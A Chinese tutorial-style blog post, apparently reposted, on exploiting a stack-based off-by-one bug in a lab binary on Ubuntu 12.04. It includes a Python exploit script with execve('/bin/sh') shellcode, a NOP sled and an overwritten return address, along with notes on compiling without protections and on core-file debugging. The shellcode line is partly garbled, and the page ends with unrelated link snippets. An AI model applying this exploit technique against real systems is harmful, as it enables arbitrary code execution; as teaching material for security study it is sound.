Linux Exploit系列之三 Off-By-One 漏洞 (基于栈)
Off-By-One 漏洞 (基于栈)
原文地址:https://bbs.pediy.com/thread-216954.htm
什么是off by one?
将源字符串复制到目标缓冲区可能会导致off by one
1、源字符串长度等于目标缓冲区长度。
当源字符串长度等于目标缓冲区长度时,单个NULL字节将被复制到目标缓冲区上方。这里由于目标缓冲区位于堆栈中,所以单个NULL字节可以覆盖存储在堆栈中的调用者的EBP的最低有效位(LSB),这可能导致任意的代码执行。
一如既往的充分的定义,让我们来看看off by one的漏洞代码!
懒得粘贴了,还是看原文吧,仅对部分作出解释。
这篇全文解释的都特别清楚,我仅说下我调试过程中遇到的坑。
首先是这个使用的是core文件调试,编译选项gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o vuln vuln.c
请注意没有使用-g选项,那么就不是debug模式,没有debug模式,调试的时候就没办法在源码上下断,所以只能使用core文件进行。
使用core文件调试的办法,作者也给出来了,但是我运行Python exp.py后,却没有core文件。经过查询资料,使用ulimit -c命令查询后,发现值为0,原来是系统默认(?)不允许创建core文件,修改限制,使用ulimit -c 1000修改
修改后,正常的生成了core文件。
还有一个比较坑的点是,gdb调试出的buf地址和真正运行的release版本的buf地址并不相同,偏移也有变化,需要特别注意。
还是老规矩,分享下我调试成功的exp.py文件
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call #Spawn a shell.
#execve(/bin/sh) Size- 28 bytes.
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\$ ret_addr = 0xbffff426 #endianess conversion
def conv(num):
return struct.pack("<I",num)#turn Address + NOP's + Shellcode + J$
buf = "A" * 68
buf += conv(ret_addr)
buf += "\x90" * 30
buf += scode
buf += "A" * 126 print "Calling vulnerable program"
call(["./vuln", buf])
Off-By-One 漏洞 (基于栈)
虚拟机安装:Ubuntu 12.04(x86)
什么是off by one?
将源字符串复制到目标缓冲区可能会导致off by one
1、源字符串长度等于目标缓冲区长度。
当源字符串长度等于目标缓冲区长度时,单个NULL字节将被复制到目标缓冲区上方。这里由于目标缓冲区位于堆栈中,所以单个NULL字节可以覆盖存储在堆栈中的调用者的EBP的最低有效位(LSB),这可能导致任意的代码执行。
一如既往的充分的定义,让我们来看看off by one的漏洞代码!
漏洞代码:
Linux Exploit系列之三 Off-By-One 漏洞 (基于栈)的更多相关文章
- Linux (x86) Exploit 开发系列教程之三(Off-By-One 漏洞 (基于栈))
off by one(栈)? 将源字符串复制到目标缓冲区可能会导致off by one 1.源字符串长度等于目标缓冲区长度. 当源字符串长度等于目标缓冲区长度时,单个NULL字节将被复制到目标缓冲区上 ...
- Linux Exploit系列之一 典型的基于堆栈的缓冲区溢出
Linux (x86) Exploit 开发系列教程之一(典型的基于堆栈的缓冲区溢出) Note:本文大部分来自于看雪hackyzh的中文翻译,加入了一些自己的理解 典型的基于堆栈的缓冲区溢出 虚拟机 ...
- Linux Exploit系列之七 绕过 ASLR -- 第二部分
原文地址:https://github.com/wizardforcel/sploitfun-linux-x86-exp-tut-zh/blob/master/7.md 这一节是简单暴力的一节,作者讲 ...
- Linux Exploit系列之六 绕过ASLR - 第一部分
绕过ASLR - 第一部分 什么是 ASLR? 地址空间布局随机化(ASLR)是随机化的利用缓解技术: 堆栈地址 堆地址 共享库地址 一旦上述地址被随机化,特别是当共享库地址被随机化时,我们采取的绕过 ...
- Linux Exploit系列之四 使用return-to-libc绕过NX bit
使用return-to-libc绕过NX bit 原文地址:https://bbs.pediy.com/thread-216956.htm 这篇讲解的比较好,主要的问题是获得system地址和exit ...
- Linux Exploit系列之二 整数溢出
整数溢出 虚拟机安装:Ubuntu 12.04(x86) 什么是整数溢出? 存储大于最大支持值的值称为整数溢出.整数溢出本身不会导致任意代码执行,但整数溢出可能会导致堆栈溢出或堆溢出,这可能导致任意代 ...
- .Neter玩转Linux系列之三:Linux下的分区讲解
基础篇 .Neter玩转Linux系列之一:初识Linux .Neter玩转Linux系列之二:Linux下的文件目录及文件目录的权限 .Neter玩转Linux系列之三:Linux下的分区讲解 .N ...
- Linux漏洞建议工具Linux Exploit Suggester
Linux漏洞建议工具Linux Exploit Suggester 在Linux系统渗透测试中,通常使用Nessus.OpenVAS对目标主机进行扫描,获取目标主机可能存在的漏洞.如果无法进行漏洞 ...
- Linux时间子系统之三:时间的维护者:timekeeper
专题文档汇总目录 Notes: 原文地址:Linux时间子系统之三:时间的维护者:timekeeper 本系列文章的前两节讨论了用于计时的时钟源:clocksource,以及内核内部时间的一些表示方法 ...
随机推荐
- append()、appendChild() 和 innerHTML 的区别
概念和区别:append() 可以同时传入多个节点或字符串,没有返回值: 据说 append 还是试用期的方法,有兼容问题,(但我用了暂时火狐,谷歌,iE都能使用). https://develope ...
- 提供对字符串的全角->半角,半角->全角转换
package com.opslab.util.algorithmImpl; import com.opslab.util.StringUtil; /** * 提供对字符串的全角->半角,半角- ...
- 三种构建方式:Makefile、scons、scons cmake+ninja
三种构建方式: Makefile scons cmake+ninja https://ninja-build.org
- PAT 甲级 1072 Gas Station (30 分)(dijstra)
1072 Gas Station (30 分) A gas station has to be built at such a location that the minimum distance ...
- Spring MVC 数据模型与视图
从控制器获取数据后,会装载数据到数据模型和视图中,然后将视图名称转发到视图解析器中,通过解析器解析后得到最终视图,最后将数据模型渲染到视图中,展示最终的结果给用户. 用ModelAndView来定 ...
- Python使用numpy实现BP神经网络
Python使用numpy实现BP神经网络 本文完全利用numpy实现一个简单的BP神经网络,由于是做regression而不是classification,因此在这里输出层选取的激励函数就是f(x) ...
- python 求交集、并集、差集
需要用到set类型 交集,两种方法 retA = [i for i in listA if i in listB] retB = setA.intersection(setB) 并集 retC = s ...
- Find minimum number of people to reach to spread a message across all people in twitter
Considering that I'ld would like to spread a promotion message across all people in twitter. Assumin ...
- Keystone
Kenstone各个概念的比喻: User 住宾馆的人 Credentials 开启房间的钥匙 Authentication 宾馆为了拒绝不必要的人进出宾馆,专门设置的机制,只有拥有钥匙的人才能进出 ...
- logstash 和filebeat 是什么关系
因为logstash是jvm跑的,资源消耗比较大,所以后来作者又用golang写了一个功能较少但是资源消耗也小的轻量级的logstash-forwarder.不过作者只是一个人,加入http://el ...